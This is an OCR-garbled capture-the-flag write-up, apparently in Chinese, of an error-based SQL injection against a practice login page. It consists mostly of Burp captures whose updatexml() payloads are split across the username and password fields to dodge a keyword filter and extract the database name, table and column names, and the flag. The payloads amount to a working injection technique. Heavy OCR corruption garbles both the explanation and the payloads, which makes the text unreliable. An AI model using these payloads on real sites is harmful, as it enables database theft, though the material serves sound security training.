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Please login!

tips:post username and password...

{center><hl>Please login'!</hl></center><br><center>tips:post username and password...</center’
{!—— $sql="select * from users where username="$username’ and password="$password ~: -->
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select, update, deleteZSQLKHFEH #2L,

J Results ITarget T Positions I Payloads T Options }

Filter: Showing all items U

Request | Payload | Status | Emor | Timeout |Length 4| Comment
e = — o .

60 PRINT @(@variable 200 O Ol 337

61 select 200 J [ 3a3r

62 insert 200 O Ol 337

63 as 200 O O] 337

64 or 200 O Ol 337

65 procedure 200 J [ 3a3r

68 asc 200 O Ol 337

69 desc 200 O O] 337

70 delete 200 O ] 337

7 update 200 [] [1 337
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J Results ITarget T Positions I Payloads T Options }

Filter: Showing all items
||| Request | Payload | Status | Emor | Timeout | Length 4| Comment

61 select 200 J [ 3a3r
62 insert 200 O Ol 337
63 as 200 O O] 337
64 or 200 O Ol 337
65 procedure 200 J [ 3a3r
68 asc 200 O Ol 337
69 desc 200 O O] 337
70 delete 200 O Ol 337
7 update 200 O O] 337
72 distinct 200 O O] 337

Request | Response ]

| Raw | Headers | Hex |

HTTP/1l.1 Z00 OK

<brr<centerr<hl>Login failed</hI></center>
<l-- Sagl="select

Date: Thu, 29 Mar 2018 01l:07:40 GHUT

Server: Apache/Z.4.18 (Win3Z) OpenSsSL/l.0.Ze PHP/5.3.29
¥-Powered-By: PHF/5.3.29

Content-Length: 133

Connection: close

Content-Type: text/html

* from users where username='jSusername'

and password='Spassword'";, -->

X2 A8 IR B\ BR BtupdatexmlZE AT . AR RS T AR Ik X updatexmIf R, BRI 4 R IRA S
k. 8 updatexml7E 77 i JEXPath i 28 277 8 I ) R s dar tH SR T R E B B

UPDATEXML (XML_document, XPath_string, new_value);

FEANSH
F=ASH

Go Cancel < (v >

Request

J RawT Params T Headers I Hex 1

XML_document String#g =X, XML R 2 FR .
XPath_string (Xpath#& B ER/F &) , RN T XpathiBix, FJUEMN EEREE.
new_value, String#sz, AR B KIFFEF AR EIE

Target: http://ctf5.shiyanbar.com | # L

Response

| Raw [ Headers | Hex [ |

POST /web/baocuo/ index.php HTTP/ 1.1
Host: ctf5.shivanbar.com

User-Agent: Mozilla/5.0 (Windows INT 6.1;:
rv:E59.0) Gecko/ /20100101 Firefox/59.0
Aocept:

text/html, application/xhtml+xml, application/xml;q=0.9,*
Jrrg=0.8

Aocept-Language @

zh-CH, zh;q=0.8, zh-TW; q=0.7, zh-HE; g=0.5,en-U3;q=0.3, en; q
=0.Z
Feferer:
Cookie:
Hm_ lvt 34def7353ab0915a4c582e4516dffhbe3=1522052835, 1522
Z20314,1522228927, 1522282243 ;

Hm ov_ 34def7353ab0515a4c582ed5ledithei=1 vigitor*144611
52Cnicklams%3A%ESSBCS ADSESSEBFS ADOSETS91%5E;

Hm lpvt 34de£7353ab05915a4c582e451edffhe3=1522082307;
FPHPSESSID=901nrmpc55i3 72 dkévo iomOms

Connection: close

Upgrade-Insecure-Regquests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded
Content-Length: 33

Wing4; =64;

http://www.shivanbar.com/ctf/20L1

username=1
Lpassword=updatexml

>

HTTF/Ll.1l 200 OKE

Date: Thu, 29 Mar 2012 0Ll:30:15 GMT

Server: Apache/2.4.18 (Win3Z) OpensS3L/L1l.0.2e PHP/5.3.:29
¥-Powered-By: PHP/5.3.29

Content-Length: &7

Connection: close

Content-Type: text/html

<center style='color:red'><hl>Unknown password
error.</hl></centesr>



FPOST fweb/baoccuo/index.php HTTP/L.L

Host: ctf5.shivanbar.com

User-Agent: Mozilla/5.0 (Windows NT £.Ll; Wing4; =64:
rv:55.0) Gecko/20100101 Firefox/59.0

Locept:

text/html, application/xhtml+xml, application/xml;q=0.9,*
Jrrgq=0.8

Locept-Languadge @

zh-CHW, zh;q=0.8, zh-TW;g=0.7, zh-HE; q=0.5,en-U3; q=0.3,2n; q
=0.2
Referer:
Cookie:
Hm lvt_ 34def7353ab0915a4c582e4516dffbe3=1522052835, 1502
220314,1522229927, 1522282243 ;

Hm cv_34d6f7353ab0915a4c58led4516difthei=1"visitor 144611
$2CnickNames3ASESSBCS ADSESSBFS AODSETSO1%0E;

Hm lpvt 34d6f7353ak0915adc582e4516dEfhe3=1522282307;
PHPSESSID=901nrmpos551i372dkeveiomims

Connection: close

Upgrade-Insecure—-Fequests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencodsd
Content-Length: 33

http://www.shivanbar.com/ctf/2011

usernams=updatexml
&password=1|

i H P 44 H in Aupdatexml,
BREGRIGHIRE 4 -

Request

J Raw T Params T Headers T Hex 1

L

HTTP/1.1 Z00 OE

Date: Thu, 28 Mar 2018 0OLl:3Z:27 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2= PHP/5.3.29
¥-Powered-Ey: PHF/5.3.29

Content-Length: 133

Connection: close

Content-Type: text/html

<brr<center><hZ>Login failed</hl></center>
<!-— Fagl="select * from users where
username='Susername' and password='S§password'"; -->

B E N AR, AT CAME Fupdatexmigi $t. i Fselect database()

Response

| Raw | Headers | Hex |

|POST Jweh/baoccuo/ index. php HTTRE/L. L

Host: ctfS.shivanbar.com

User-Agent: Mozilla/5.0 (Windows MNT €.1; Wingéd4; x£4;
rv:58.0) Gecko/Z0100101 Firefox/55.0

Aocept:

text/html, application/xhtml+xml, application/xml;q=0.9,*
f*a=0.8

Accept-Language:

zh-CIM, zh; ¢q=0.8, zh-TW; q=0.7, zh-HE; ¢q=0.5,en-U3; qq=0.3,en;: q
=0.Z2
Referer:
Cookie:
Hm 1vt_34def7353ab0515a4c582e4516dffhe3=1522052835, 1522
220314, 1522229927, 1522282243

Hm cv_34def7353ab0515a4c582e45l6dithei=1"visitor*144611
5I2CnickNam=%3A4%E5%BC5A0%ES5BFS A0%ETS91%9E;

Hm 1pvt_34def7353ab0515a4c582e4516dffho3=1522282307;
PHPSESSID=901jnrmpc55i372dkevo iomlms

Connection: close

Upgrade-Insscure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www—-form-urlencodsd
Content-Length: 20

http://www.shivanbar.com/ctf/2011

username=1' and updatexml/*
&password=*/(l,concat (0Ox7e, (SELECT
database () ) ,0x7e) ,ljor'l

L

HTTF/1l.1l 200 OK

Date: Thu, 29 Mar Z018 01l:34:01 GHMT

Server: Apache/2.4.18 (Win3Z) OpenSSL/1.0.2e= PHF/5.3.28
¥-Powered-By: PHF/5.3.29

Content-Length: 43

Connection: close

Content-Typs: text/html

<hr>XPATH syntax error: '-~error based hpf-'

FOMH P A ME S 7=, FroMEM ! M<>SEP=p2hae. RBEREEF AR RFH5, DRIIF

HIfE .




Request

J Raw T Params T Headers T Hex 1

Response

J Raw | Headers | Hex |

POST /web/baccuc/index.php HTTP/L.1

Host: ctfS5.shivanbar.com

User-Agent: Mozilla/5.0 (Windows NT £.1; Wingd; xed;
rv:58.0) Gecko/20100101 Firefox/59.0

Aocept:

text/html, application/xhtml+xml, application/xml;q=0.8, %
Jrrg=0.8

Accept-Language:

zh-CH, z2h:=0.8, sh-TW:;q=0.7, zh-HE; q=0.5,en-US; q=0.3,en; ¢
=0.2

Beferer: http://www.shivanbar.com/ctf/Z0L1

Cookie:

Hm lvt 34d6f7353ab05915a4c582e451l6dffbe3=1522052835, 1522
220314,1522229927, 1522282243 ;

Him cv_34dEf7353ab05%15a4c58le45l6dEithe3=1l*visitor 144611
iCnickName%s3 A%ESSECSADSESSEFSA0%ET5S1%5E;

Hm lpvt 34dEf7353ab0815adc582e451l6dithe3=1522282307;
FHPSESSID=S90ljnrmpcoS55i372dkevo iom0mS

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-—age=0

Content-Type: application/x-www—-form-urlencoded
Content-Length: 177

username=1' and updatexml/*
Lpassword=*/ (1, concat (0x7=, (SELECT
group_concat (table name) from

information schema.tables whers
!(table_schema<>'hrror_based_hpf'] ] ,0x7e) ,ljor'l

Request

J RawT Params T Headers [ Hex ]

e

=

HTTF/Ll.1 200 QK

Date: Thu, 29 Mar Z0L18 O
Server: Apache/2.4.18 (W
¥-Powered-By: PHF/5.3.29
Content-Length: 42
Connection: close
Content-Type: text/html

<hr>¥XPATH syntax error:

Response

J Raw | Headers | Hex |

L:-40:17 GHMT
in3Z) OpenS5L/1.0.Ze PHP/5.3.29

'~f£f11445373 ,users~'

FPOST /web/baccuo/index.php HTTP/L. 1

Host: ctfS.shivanbar.com

User-Agent: Mozilla/5.0 (Windows NT £.1; Wined; =x&4:
rv:i59.0) Gecko/2010010L1 Firefox/59.0

Aocept:

text/html, application/xhtml4xml, application/xml;c=0.9,*
f*rgq=0.8

Aocept-Language:

| 2h-CN, zh:;qq=0.8, sh-TW:c=0.7, 2sh-HE; g=0.5,en-U3;q=0.3,en; q
=0.Z

Referer: http://www.shivanbar.com/ctf/201L1

Cookie:

Hm lvt 34dEf7353ab0515adc582e4516difhe3=1522052835, L1522
220314,1522229927, 1522282243 ;

Hm cv_34def7353ab0915a4c582e451edffthe3=1l*visitor* 144611
52CnickNams%3A%ES5%BCs A0%ES%BF5AO%ET591%0E;

Hm lpvet_34dE£7353ab08915a4c582e4516dEfbe3=1522282307;
PHPSESSID=S901ljnrmpoS55i37idkevoiomlims

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencodsd
Content-Length: 170

username=1' and updatexml/*
gpassword=*/ (1, concat (0x7=, (SELECT
group_concat (column names) from
information schema.columns where

!(table name<>'f£114433"') J,Dx?ejtljor'l

L

HTTF/L1.1 200 OK
Date: Thu, 29 Mar Z018 O

1:45:23 GNT

Server: Lpache/2.4.13 (Win32) Open33L/l.0.2e FHP/5.3.29

¥-FPowered-EBy: PHP/5.3.29
Content-Length: 33
Connection: close
Content-Type: text/html

<hbr>¥XPATH syntax error:

'~value~'



Request

J RawT Params [ Headers [ Hex 1

Response

| Raw | Headers | Hex |

POST /web/baccuo/index.php HTTP/ 1.1

Host: ctfS.shiyanbar.com

User-Agent: Mozilla/5.0 (Windows NT €.1:; Wingd; =£4:
rv:59.0) Gecko/Z010010Ll Firefox/59.0

Locept:

text/html, application/xhtml+xml, application/wml;q=0.9,*
J*rgq=0.8

Locept-Language:

zh—-CHW, zh;q=0.8, zh-TW; g=0.7, zh-HE; q=0.5,en-US;q=0.3,en;q
=0.Z

Beferer: http://www.shivanbar.com/ctf/20L1L

Cookie:

Hm lvt 34def7353ab0515a4c582e4516difhe3=1522052835, L1522
220314, 1522229927, 1522282243,

Hm cv_34def7353ab0515a4c582ed516dithe3=1"visitor* 144611
S2CnickName%3ASESSEBCS ADSESSEFSAODSETS9 150K,

Hm lpwvt 34def7353ab0915a4c582e4516dffbe3=1522282307;
PHPSESSID=S01 nrmpes55i372dkevo iomlms

Connection: close

Upgrade-Insscure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www—form-urlencoded
Content-Length: 99

username=1' and updatexml/*
spassword=*/ (1, concat (0x7=, (SELECT walus from
£f£114433) ,0x7e), Ljor'l

e

HTTP/1.1 200 QK

Date: Thu, 29 Mar Z018 0Ol:4g:22 GMT

Server: Apache/Z2.4.18 (Win3Z) OpenSSL/Ll.0.2e PHP/5.3.29
¥-Powered-By: PHF/5.3.29

Content-Length: 5&

Connection: close

Content-Type: text/html

<br>¥XPATH syntax error:
'~flag{err0r_bdsed sgli + hpf}-'
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